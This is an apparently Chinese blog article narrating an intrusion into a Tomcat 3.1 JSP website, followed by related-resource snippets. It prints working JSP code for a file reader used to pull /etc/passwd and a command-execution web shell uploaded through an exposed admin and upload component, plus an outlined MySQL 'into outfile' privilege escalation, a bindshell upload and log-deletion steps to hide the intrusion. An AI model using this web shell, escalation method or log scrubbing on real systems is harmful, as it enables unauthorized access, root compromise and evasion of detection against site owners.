`
fruitboy2005
  • 浏览: 3389 次
  • 性别: Icon_minigender_1
  • 来自: 北京
最近访客 更多访客>>
社区版块
存档分类
最新评论

入侵基于JSP+Tomcat的Web网站

 
阅读更多
  telnet www.target.com 8080
  GET /CHINANSL HTTP/1.1
  [Enter]
  [Enter]
  返回的结果如下:
  HTTP/1.0 404 Not Found
  Date: Sun, 08 Jul 2001 07:49:13 GMT
  Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
  .2.12 i386; java.vendor=Blackdown Java-Linux Team)
  Content-Language: en
  Content-Type: text/html
  Status: 404
  <h1>Error: 404</h1>
  <h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
  获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。
  回忆一下,大概是通过“..”技术可以退出WEB目录,于是:
  http://target:8080/../../../../%00.jsp (不行)
  http://target:8080/file/index.jsp (不行)
  http://target:8080/index.JSP (不行)
  http://target:8080/index.jsp%81 (不行)
  http://target:8080/index.js%70 (不行)
  http://target:8080/index.jsp%2581 (不行)
  http://target:8080/WEB-INF/ (不行)
  看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:
  http://target:8080/admin/
  管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。
  接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:
  <%@ page import="java.io.*" %>
  <%
  String file = request.getParameter("file");
  String str = "";
  FileInputStream fis = null;
  DataInputStream dis = null;
  try{
  fis = new FileInputStream(file);
  dis = new DataInputStream(fis);
  while(true){
  try{
  str = dis.readLine();
  }catch(Exception e){}
  if(str == null)break;
  out.print(str+"<br>");
  }
  }catch(IOException e){}
  %>
  然后执行:
  http://target:8080/upload/test.jsp?file=/etc/passwd
  密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。
  再写一个JSP文件:
  <%@ page import="java.io.*" %>
  <%
  try {
  String cmd = request.getParameter("cmd");
  Process child = Runtime.getRuntime().exec(cmd);
  InputStream in = child.getInputStream();
  int c;
  while ((c = in.read()) != -1) {
  out.print((char)c);
  }
  in.close();
  try {
  child.waitFor();
  } catch (InterruptedException e) {
  e.printStackTrace();
  }
  } catch (IOException e) {
  System.err.println(e);
  }
  %>
  然后把这个JSP再通过upload上传,有SHELL了。
  http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
  (详细结果这里就不列出来了)
  怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:
  sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
  显示:
  root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
  系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。
  之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。
  但是,接下来已经实际操作,结果令人颇感意外:
  http://target:8080/upload/cmd.jsp?cmd=id
  显示:
  uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
  原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?
  http://target:8080/upload/cmd.jsp?cmd=ps+aux
  果然是root身份运行的(不列出来了)
  剩下的事情:
  1、删除我的telnet记录。
  2、删除http的日志。
  清除日志我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。
  说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!
分享到:
评论

相关推荐

    【LINUX】Nginx + Tomcat 动静分离实现负载均衡

    在 Debian 环境中安装 Nginx 和 Tomcat,创建一个 web 项目,并安装相关依赖项。 二、Nginx 配置文件 Nginx 配置文件(nginx.conf)是实现动静分离的核心文件。下面是 Nginx 配置文件的详细解释: 1. 用户和用户组...

    tomcat_爆破.zip

    Apache Tomcat是一个广泛应用的开源Java Servlet容器,负责处理HTTP请求并运行基于Java的Web应用程序。由于其广泛使用,Tomcat的安全性成为了黑客和安全专家关注的重点。 【压缩包子文件的文件名称】:“tomcat_...

    经典强大的 2个jsp后门

    4. **防范措施**:对于JSP后门,开发者和管理员应遵循最佳实践,如定期更新和打补丁,避免使用不安全的库,进行代码审查,使用防火墙和入侵检测系统,以及实施严格的访问控制策略。 5. **检测和清除**:检测JSP后门...

    基于jsp的咖啡馆管理系统源码数据库.doc

    ### 基于JSP的咖啡馆管理系统源码数据库知识点...综上所述,基于JSP的咖啡馆管理系统通过整合Java、JSP、Tomcat等关键技术,实现了咖啡馆业务流程的信息化管理,提高了工作效率和服务质量,具有重要的实际应用价值。

    tomcat7打补丁版.rar

    Apache Tomcat是一款广泛应用的开源Java Servlet容器,它实现了Java Servlet和JavaServer Pages(JSP)规范,用于部署和运行Java Web应用程序。在标题为“tomcat7打补丁版.rar”的压缩包中,我们主要关注的是针对...

    Tomcat5培训PPT

    Tomcat的体系结构基于Java的多层架构设计,主要包括Catalina(核心Servlet容器)、Jasper(JSP引擎)、 Coyote(HTTP/1.1协议处理)和Juli(日志系统)等组件。每个组件都有明确的职责,协同工作以处理HTTP请求并...

    apache-tomcat-7.0.55.zip

    Apache Tomcat 7.0.55 是一个广泛使用的开源软件,它是一个实现了Java Servlet、JavaServer Pages(JSP)和Java EE的Web应用程序容器。这个版本是Tomcat 7系列的一个更新,提供了性能改进、安全修复以及对新功能的...

    Apache Tomcat Scanner

    Apache Tomcat是一款广泛使用的开源Java Servlet容器,它实现了Java EE的Web应用程序规范,包括Servlet和JSP。由于其在Web应用部署中的普遍性,确保其安全性至关重要。 在网络安全领域,弱口令是一种常见的安全隐患...

    Apache Tomcat Scan

    Apache Tomcat是一款广泛应用的开源Java Servlet容器,它用于部署和运行Java Web应用程序。"Apache Tomcat Scan"是指针对局域网内运行Apache Tomcat服务器的设备进行扫描的工具或过程,目的是确保网络中的Tomcat...

    Tomcat权威指南-第2版(中国电力出版社)(超清版).pdf

    1. **Tomcat简介**:Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个开源Web服务器,它支持Servlet和JavaServer Pages (JSP)技术,并且可以作为独立的应用服务器来运行。 2. **Tomcat的历史发展**:自1999年...

    基于JSP的图书管理系统的设计与实现1 - Java.docx

    - **Tomcat**:一个开放源代码的Web应用服务器,支持JSP和Servlet技术。 - **JavaBean**:一种Java类,用于封装数据和业务逻辑,便于复用。 - **Servlet**:一种运行在服务器端的小程序,主要用于处理客户端请求并...

    jsp探针。。探测jsp主机的信息。。资料。。

    1. **服务器软件和版本**:例如Apache Tomcat、Jetty、IBM WebSphere等Web容器的版本。 2. **JVM信息**:Java版本、供应商、内存配置等。 3. **操作系统详情**:操作系统类型、架构、内核版本等。 4. **网络配置**:...

    tomcat架构解析.zip

    Tomcat实现了Java Servlet和JavaServer Pages(JSP)规范,为Web应用程序提供了运行环境。本篇将深入解析Tomcat的架构,帮助你更好地理解和优化这个强大的服务器。 ### 1. Tomcat的基本结构 Tomcat的架构可以分为...

    JFolder(jsp webshell)

    1. **语言平台**:JFolder基于JSP,因此它适用于任何支持JSP的Web服务器,例如Tomcat、Jetty等。 2. **无密码访问**:与许多其他Webshell不同,JFolder没有内置的身份验证机制,这意味着任何知道其URL的人都可以尝试...

    基于Java web的服装销售管理系统设计文档.doc

    而软件环境则包括操作系统、数据库管理系统(如MySQL或Oracle)、Web服务器(如Apache Tomcat或Jetty)、以及开发和运行JSP所需的Java SDK。安装和配置这些软件是项目启动前的重要步骤。 在需求分析阶段,系统被...

    管理小程序,是JSP的

    9. **部署与运行**:JSP应用需要在支持Java Servlet的Web服务器上运行,如Tomcat、Jetty等。开发者可以通过WAR文件(Web Application Archive)将整个应用打包部署到服务器。 从“web1”这个文件名来看,这可能是一...

    基于Java Web的智能二维码门禁管理系统(本科毕业论文+毕业设计).zip

    【标题】基于Java Web的智能二维码门禁管理系统是一款利用现代技术实现的安全管理解决方案,它集成了二维码识别、网络通信和数据库技术,适用于各种场所的出入口控制,如办公楼、学校、住宅区等。该系统旨在提升门禁...

    专用WEB服务器构建方案(Apache平台)

    在本文中,我们将详细探讨如何在Apache平台上构建一个专用的WEB服务器,该服务器能够支持CGI、JSP和PHP等Web应用程序,并确保其具备良好的安全性和性能。我们将按照以下步骤进行: 1. **安装Apache服务器**: - ...

    基于Web的网络在线考试系统的设计与实现.docx

    总的来说,基于Web的网络在线考试系统是信息技术与教育领域的深度融合,它改变了传统的考试模式,提高了考试的效率和质量,同时满足了远程教育的需求。随着技术的不断发展,这类系统的功能将更加完善,用户体验也将...

    web-server2202.zip

    8. **动态内容处理**:Web服务器可以与应用程序服务器(如Apache Tomcat、Node.js)配合,处理动态内容请求,如PHP、Java JSP、Python Django等。 9. **服务器日志**:Web服务器的日志文件记录了所有HTTP请求,是...

Global site tag (gtag.js) - Google Analytics